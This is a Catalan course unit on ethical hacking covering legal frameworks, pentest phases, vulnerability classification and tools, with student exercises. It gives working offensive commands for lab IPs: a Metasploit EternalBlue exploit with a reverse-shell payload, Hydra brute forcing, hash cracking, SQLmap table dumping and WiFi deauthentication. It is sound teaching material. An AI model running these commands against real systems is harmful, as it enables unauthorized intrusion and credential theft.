Eines, Conceptes Bàsics i Marc Legal
Proposta didàctica
En aquest tema treballem el RA1 del mòdul 5025: Determina eines de monitorització, conceptes bàsics i el marc legal del hacking ètic.
Criteris d'avaluació
-
CA1.1 Defineix terminologia del hacking ètic.
-
CA1.2 Identifica conceptes ètics i legals (ciberdelicte, marc legal).
-
CA1.3 Defineix abast i condicions d'un test d'intrusió.
-
CA1.4 Identifica la tríada CIA.
-
CA1.5 Identifica les fases d'un atac.
-
CA1.6 Analitza i defineix tipus de vulnerabilitats.
-
CA1.7 Analitza i defineix tipus d'atac.
-
CA1.8 Determina i caracteritza vulnerabilitats existents.
-
CA1.9 Determina eines de monitorització.
Continguts de referència
- Terminologia fonamental del hacking ètic
- Tipologia de hackers i motivacions
- Hacking ètic vs. hacking maliciós: diferències clau
- Marc legal espanyol: Codi Penal arts. 197-201 i 264
- Marc legal europeu: Directiva NIS2, RGPD, Budapest Convention
- Test d'intrusió: tipus (black box, white box, grey box)
- Regles d'Enfrontament (Rules of Engagement)
- Fases d'un pentest: Pre-engagement → Recon → Scanning → Exploitation → Post-exploitation → Reporting
- Classificació de vulnerabilitats: CVE, CVSS v3.1, CWE
- Eines de reconeixement: Nmap, Recon-ng, theHarvester, Maltego
- Eines d'escaneig: Nessus, OpenVAS, Nikto
- Eines d'explotació: Metasploit, ExploitDB, SearchSploit
- Eines web: Burp Suite, OWASP ZAP, SQLmap
- Eines de contrasenyes: Hashcat, John the Ripper, Hydra
- Eines WiFi: Aircrack-ng, Kismet, Wifite
- Dark Web i Deep Web: conceptes i eines (Tor)
- OWASP Testing Guide: metodologia de seguretat web
Marc legal i ètic
Totes les tècniques i eines d'aquest tema s'han de practicar exclusivament en entorns de laboratori controlats i autoritzats. L'accés no autoritzat a sistemes informàtics és un delicte penal tipificat a l'art. 197 bis del Codi Penal espanyol amb penes de fins a 2 anys de presó.
1. Terminologia fonamental
1.1 Qui és un hacker?
El terme hacker originalment designava una persona amb profunds coneixements tècnics capaç de modificar, adaptar i millorar sistemes informàtics. Amb el temps, el terme ha adquirit connotacions diverses:
| Terme | Definició |
|---|---|
| Hacker | Persona amb coneixements tècnics avançats que analitza i manipula sistemes informàtics |
| Cracker | Persona que trenca sistemes de seguretat amb intenció maliciosa o per lucre |
| Script Kiddie | Persona sense coneixements profunds que utilitza eines d'altri sense entendre-les |
| White Hat | Hacker ètic que treballa amb autorització per millorar la seguretat |
| Black Hat | Hacker maliciós que actua sense autorització per lucre, espionatge o dany |
| Grey Hat | Hacker que actua sense autorització però sense intenció de causar dany |
| Hacktivista | Hacker amb motivació política o ideològica |
| Pentester | Professional de seguretat contractat per fer proves d'intrusió autoritzades |
| Bug Hunter | Investigador que cerca vulnerabilitats en programes de bug bounty |
1.2 Terminologia tècnica essencial
| Terme | Definició |
|---|---|
| Vulnerabilitat | Debilitat en un sistema que pot ser aprofitada per un atacant |
| Exploit | Codi o tècnica que aprofita una vulnerabilitat |
| Payload | Codi maliciós que s'executa un cop s'ha explotat una vulnerabilitat |
| Vector d'atac | Via o mecanisme que utilitza l'atacant per arribar al sistema objectiu |
| Superfície d'atac | Conjunt de punts on un atacant pot intentar introduir-se al sistema |
| Zero-day | Vulnerabilitat desconeguda pel fabricant i sense pegat disponible |
| CVE | Common Vulnerabilities and Exposures - Identificador únic de vulnerabilitat |
| CVSS | Common Vulnerability Scoring System - Puntuació de gravetat (0-10) |
| Pentest | Test d'intrusió o prova de penetració autoritzada |
| Red Team | Equip que simula atacs per provar les defenses |
| Blue Team | Equip defensor que monitoritza i respon als atacs |
| Purple Team | Col·laboració entre Red i Blue Team per millorar les defenses |
2. Hacking ètic vs. hacking maliciós
graph LR
H["Hacking"] --> HE["Hacking Ètic\n(White Hat)"]
H --> HM["Hacking Maliciós\n(Black Hat)"]
HE --> HE1["✅ Autorització escrita"]
HE --> HE2["✅ Abast definit"]
HE --> HE3["✅ Objectiu: millorar seguretat"]
HE --> HE4["✅ Informe de vulnerabilitats"]
HE --> HE5["✅ Legal i ètic"]
HM --> HM1["❌ Sense autorització"]
HM --> HM2["❌ Sense límits d'abast"]
HM --> HM3["❌ Objectiu: lucre/dany"]
HM --> HM4["❌ Ocultar activitat"]
HM --> HM5["❌ Il·legal - delicte penal"]
style HE fill:#27ae60,color:#fff
style HM fill:#e74c3c,color:#fff
Diferències clau
La única diferència entre un pentest legal i un atac il·legal és l'autorització escrita. Les mateixes tècniques, les mateixes eines, els mateixos procediments - però amb o sense permís del propietari del sistema.
Principi fonamental
Sense autorització escrita = Delicte penal. No importa la intenció, no importa si "no fas cap dany". L'accés no autoritzat és delicte independentment del resultat.
3. Marc legal
3.1 Codi Penal espanyol
Articles del Codi Penal
Art. 197 CP - Descobriment i revelació de secrets: Apoderament de dades personals sense autorització, intercepció de comunicacions. Pena: 1-4 anys.
Art. 197 bis CP - Accés il·lícit a sistemes: "El que per qualsevol mitjà o procediment, vulnerant les mesures de seguretat establertes per a impedirho, i sense estar degudament autoritzat, accedeixi o faciliti a un altre l'accés al conjunt o una part d'un sistema d'informació..." Pena: fins a 2 anys o fins a 3 anys si afecta infraestructures crítiques.
Art. 197 ter CP - Eines per a delictes informàtics: Producció, adquisició, possessió o facilitació d'eines per cometre delictes dels art. 197 o 197 bis. Pena: 6 mesos - 2 anys.
Art. 264 CP - Danys informàtics: Destrucció, dany, deteriorament, alteració, supressió o inaccessibilitat de dades, programes informàtics o documents electrònics aliens. Pena: 6 mesos - 3 anys.
Art. 264 bis CP - Atacs a infraestructures crítiques: Sabotatge d'infraestructures crítiques (energia, transport, finances, salut...). Pena: 3-8 anys.
3.2 Marc europeu
| Normativa | Descripció |
|---|---|
| Directiva NIS2 (2022/2555) | Mesures per a un alt nivell comú de ciberseguretat a la UE. Obliga entitats essencials i importants a gestionar riscos i notificar incidents en 24-72h |
| RGPD (2016/679) | Reglament General de Protecció de Dades. Afecta tractament de dades personals |
| Conveni de Budapest | Primer tractat internacional sobre cibercrim. Marc de cooperació entre països |
| Cyber Resilience Act | Regulació de la ciberseguretat de productes digitals |
| ENISA | Agència de la UE per a la Ciberseguretat |
3.3 Autoritzacions legals per al pentest
Per realitzar un pentest de forma legal cal:
- Contracte de serveis entre el pentester i el client
- Document de Regles d'Enfrontament (RoE - Rules of Engagement) que defineix:
- Abast (sistemes inclosos i exclosos)
- Dates i horaris autoritzats
- Tècniques permeses i prohibides
- Punts de contacte d'emergència
- Tractament de dades sensibles trobades
- Autorització del propietari (no n'hi ha prou amb el client si els sistemes pertanyen a tercers)
- NDA (Non-Disclosure Agreement) per protegir la confidencialitat
4. Test d'intrusió: tipus i fases
4.1 Tipus de pentest
| Tipus | Informació prèvia | Simulació | Ús típic |
|---|---|---|---|
| Black Box | Cap | Atacant extern desconeixedor | Prova realista d'atac extern |
| White Box | Total (codi, infraestructura, credencials) | Auditor intern | Auditoria completa i exhaustiva |
| Grey Box | Parcial (per exemple, credencials d'usuari) | Atacant intern o partner | Compromís entre realisme i eficàcia |
4.2 Fases d'un test d'intrusió
flowchart TD
A["1. PRE-ENGAGEMENT\n• Contracte i RoE\n• Definir abast\n• Acords legals\n• Punts de contacte"] --> B["2. RECONEIXEMENT\n• OSINT / Footprinting passiu\n• Enumeració DNS\n• Shodan, theHarvester\n• Xarxes socials"]
B --> C["3. ESCANEIG\n• Nmap, Masscan\n• Nessus / OpenVAS\n• Enumeració de serveis\n• Identificació vulnerabilitats"]
C --> D["4. EXPLOTACIÓ\n• Metasploit Framework\n• Exploits manuals\n• Phishing, Brute Force\n• Prova de concepte (PoC)"]
D --> E["5. POST-EXPLOTACIÓ\n• Escalada de privilegis\n• Pivotatge\n• Persistència\n• Extracció de dades"]
E --> F["6. INFORME\n• Executive summary\n• Findings tècnics\n• CVSS scoring\n• Recomanacions"]
F --> G["7. REMEDIACIÓ\n• Implementar correccions\n• Verificació (retesting)\n• Informe final"]
style A fill:#27ae60,color:#fff
style B fill:#2980b9,color:#fff
style C fill:#8e44ad,color:#fff
style D fill:#e67e22,color:#fff
style E fill:#e74c3c,color:#fff
style F fill:#16a085,color:#fff
style G fill:#27ae60,color:#fff
5. Classificació de vulnerabilitats
5.1 Sistema CVE
El CVE (Common Vulnerabilities and Exposures) és un identificador estandarditzat per a vulnerabilitats de seguretat. Format: CVE-ANY-NNNNNN
Exemples de CVEs importants:
| CVE | Nom | Sistema afectat | CVSS | Any |
|---|---|---|---|---|
| CVE-2017-0143 | EternalBlue | Windows SMB | 9.3 | 2017 |
| CVE-2014-0160 | Heartbleed | OpenSSL | 7.5 | 2014 |
| CVE-2021-44228 | Log4Shell | Apache Log4j | 10.0 | 2021 |
| CVE-2019-0708 | BlueKeep | Windows RDP | 9.8 | 2019 |
| CVE-2021-34527 | PrintNightmare | Windows Print Spooler | 8.8 | 2021 |
| CVE-2022-30190 | Follina | Microsoft MSDT | 7.8 | 2022 |
5.2 Puntuació CVSS v3.1
El CVSS (Common Vulnerability Scoring System) avalua la gravetat:
| Rang | Gravetat | Color |
|---|---|---|
| 0.0 | Cap | Verd |
| 0.1-3.9 | Baix | Groc clar |
| 4.0-6.9 | Mitjà | Taronja |
| 7.0-8.9 | Alt | Taronja fort |
| 9.0-10.0 | Crític | Vermell |
6. Eines de hacking ètic per fases
6.1 Reconeixement
mindmap
root((Reconeixement))
Passiu
theHarvester
Recon-ng
Maltego
Shodan
Censys
WHOIS
DNSdumpster
Actiu
Nmap
Masscan
Netcat
Nessus
OpenVAS
Nmap - Escàner de xarxa
# Escaneig bàsic de ports
nmap 192.168.1.0/24
# Escaneig SYN stealth (requereix root)
nmap -sS 192.168.1.100
# Detecció de versió de serveis
nmap -sV 192.168.1.100
# Detecció de sistema operatiu
nmap -O 192.168.1.100
# Escaneig agressiu (OS, versió, scripts, traceroute)
nmap -A 192.168.1.100
# Escaneig amb scripts NSE
nmap --script=vuln 192.168.1.100
# Escaneig de ports específics
nmap -p 22,80,443,3306 192.168.1.100
# Exportar resultats
nmap -oX resultat.xml -oN resultat.txt 192.168.1.100
theHarvester - OSINT de correus i dominis
# Cerca d'emails i subdominis d'un domini
theHarvester -d exemple.com -l 500 -b all
# Amb font específica
theHarvester -d exemple.com -b google,bing,linkedin
# Exportar resultats
theHarvester -d exemple.com -b all -f resultat.html
Recon-ng - Framework de reconeixement
# Iniciar Recon-ng
recon-ng
# Dins de recon-ng:
[recon-ng][default] > marketplace install all
[recon-ng][default] > workspaces create clientXYZ
[recon-ng][clientXYZ] > modules load recon/domains-hosts/google_site_web
[recon-ng][clientXYZ][google_site_web] > options set SOURCE exemple.com
[recon-ng][clientXYZ][google_site_web] > run
6.2 Escaneig de vulnerabilitats
OpenVAS / Greenbone Vulnerability Manager
# Instal·lar OpenVAS a Kali
sudo apt install openvas -y
sudo gvm-setup
sudo gvm-start
# Accedir via web: https://127.0.0.1:9392
# Credencials per defecte: admin / (generades durant setup)
Nikto - Escàner de vulnerabilitats web
# Escaneig bàsic
nikto -h http://192.168.1.100
# Escaneig d'un port específic
nikto -h 192.168.1.100 -p 8080
# Exportar resultats
nikto -h http://192.168.1.100 -o nikto_resultat.html -Format html
6.3 Explotació
Metasploit Framework
# Iniciar Metasploit
msfconsole
# Buscar exploits
msf6 > search eternalblue
msf6 > search type:exploit platform:windows ms17-010
# Usar un exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# Veure opcions
msf6 exploit(ms17_010_eternalblue) > show options
# Configurar opcions
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
# Llançar exploit
msf6 exploit(ms17_010_eternalblue) > exploit
6.4 Eines de contrasenyes
Hashcat - Cracking de hashes
# Identificar tipus de hash
hashcat --example-hashes | grep -A2 "MD5"
# Atac de diccionari (mode 0)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Atac de força bruta (mode 3)
hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a?a?a
# Atac híbrid (diccionari + màscara)
hashcat -m 0 hashes.txt -a 6 /usr/share/wordlists/rockyou.txt ?d?d
# Modes comuns:
# -m 0 = MD5
# -m 100 = SHA1
# -m 1000 = NTLM
# -m 1800 = sha512crypt (Linux /etc/shadow)
# -m 2500 = WPA-PBKDF2-PMKID+EAPOL (WiFi)
John the Ripper
# Crack de fitxer de contrasenyes Linux
john /etc/shadow
# Amb diccionari
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Mostrar contrasenyes cracades
john --show hashes.txt
# Identificar format de hash
john --list=formats
Hydra - Brute force d'autenticació
# Força bruta SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Força bruta HTTP POST (formulari de login)
hydra -l admin -P rockyou.txt 192.168.1.100 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=Invalid"
# Força bruta FTP
hydra -L users.txt -P passwords.txt ftp://192.168.1.100
# Força bruta RDP
hydra -l administrator -P rockyou.txt rdp://192.168.1.100
6.5 Eines web
Burp Suite
# Iniciar Burp Suite (Community Edition inclosa a Kali)
burpsuite
# Configurar el proxy al navegador: 127.0.0.1:8080
# Interceptar peticions: Proxy > Intercept > On
# Reenviar al Repeater: Click dret > Send to Repeater
# Atac de diccionari web: Click dret > Send to Intruder
SQLmap - Detecció automàtica de SQLi
# Detecció bàsica
sqlmap -u "http://192.168.1.100/login.php?id=1"
# Amb cookies de sessió
sqlmap -u "http://192.168.1.100/profile.php?id=1" --cookie="session=abc123"
# Enumerar bases de dades
sqlmap -u "http://192.168.1.100/login.php?id=1" --dbs
# Enumerar taules d'una BD
sqlmap -u "http://192.168.1.100/login.php?id=1" -D dvwa --tables
# Extreure dades d'una taula
sqlmap -u "http://192.168.1.100/login.php?id=1" -D dvwa -T users --dump
# NOTA: Únicament en sistemes autoritzats (DVWA, WebGoat, etc.)
6.6 Eines WiFi
# Aircrack-ng Suite - Posar targeta en mode monitor
airmon-ng start wlan0
# Captura de xarxes WiFi
airodump-ng wlan0mon
# Captura de xarxa específica
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon
# Desautenticació (lab propi)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA2 amb diccionari
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
7. Dark Web i Deep Web
| Terme | Definició | Eines |
|---|---|---|
| Surface Web | Web indexada pels cercadors públics | Navegadors convencionals |
| Deep Web | Web no indexada (intranets, BD, portals privats) | Navegadors convencionals |
| Dark Web | Web accessible mitjançant xarxes especials (Tor, I2P) | Tor Browser, I2P |
Xarxa Tor
# Instal·lar Tor a Kali
sudo apt install tor torbrowser-launcher -y
# Iniciar servei Tor
sudo systemctl start tor
# Verificar connexió a Tor
curl --socks5 localhost:9050 https://check.torproject.org/
Ús legal del Dark Web
Accedir a la Dark Web no és il·legal en si mateix. El que pot ser il·legal és el contingut o les activitats que es realitzen. En el context de la ciberseguretat, el Dark Web s'utilitza per: - Investigar markets de ciberdelicte (de forma passiva, sense participar) - Buscar credencials filtrades d'organitzacions - Investigar grups d'APT i TTPs Sempre en el context d'una investigació autoritzada.
8. OWASP Testing Guide
La OWASP Testing Guide (OTG) és la metodologia estàndard per a l'avaluació de seguretat d'aplicacions web. Es divideix en categories:
| Categoria | Codi | Exemples |
|---|---|---|
| Information Gathering | OTG-INFO | Fingerprinting, enumeració |
| Configuration Testing | OTG-CONFIG | Configuració del servidor |
| Authentication Testing | OTG-AUTHN | Brute force, bypass |
| Authorization Testing | OTG-AUTHZ | IDOR, privilege escalation |
| Input Validation | OTG-INPVAL | SQLi, XSS, Command Injection |
| Cryptography | OTG-CRYPST | Debilitats de xifrat |
Miniactivitats
Miniactivitat 1: Identificació d'eines per fase
Per a cada escenari, indica quina eina és la més adequada i justifica-ho:
- Vols conèixer quines adreces de correu electrònic d'una empresa són públiques.
- Vols saber quins ports i serveis estan oberts a un servidor de laboratori.
- Vols saber si un servidor web té directoris accessibles no referenciats.
- Vols explotar una vulnerabilitat coneguda (CVE) en un sistema de lab.
- Vols crackear un hash NTLM capturat al lab.
- Vols interceptar peticions HTTP entre el navegador i un servidor de lab.
- Vols detectar xarxes WiFi a l'abast del laboratori.
- Vols identificar la versió del sistema operatiu d'un servidor de lab.
Eines disponibles: Nmap, theHarvester, Nikto, Metasploit, Hashcat, Burp Suite, airodump-ng, OpenVAS
Miniactivitat 2: Anàlisi d'un CVE real
Busca a la base de dades NVD (https://nvd.nist.gov/) informació sobre CVE-2021-44228 (Log4Shell):
- Quin sistema/programari afecta?
- Quina és la puntuació CVSS v3.1 i el vector?
- Quina és la data de publicació?
- Quines versions estan afectades?
- Quin és el vector d'atac? (xarxa local, internet, accés físic...)
- Quin és el tipus de vulnerabilitat (CWE)?
- Hi ha patches disponibles? Quina versió corregeix el problema?
Miniactivitat 3: Anàlisi d'un cas real de ciberdelicte
Llegiu la notícia sobre el cas "Operation Triangulation" (APT ios 2023) o un altre cas real de ciberdelicte i responeu:
- Quines fases del model d'atac cibernètic es van seguir?
- Quines eines o tècniques es van utilitzar?
- Quina vulnerabilitat (CVE) es va explotar?
- Quin impacte va tenir (CIA)?
- Com es va detectar l'atac?
- Quines mesures preventives haurien evitat l'atac?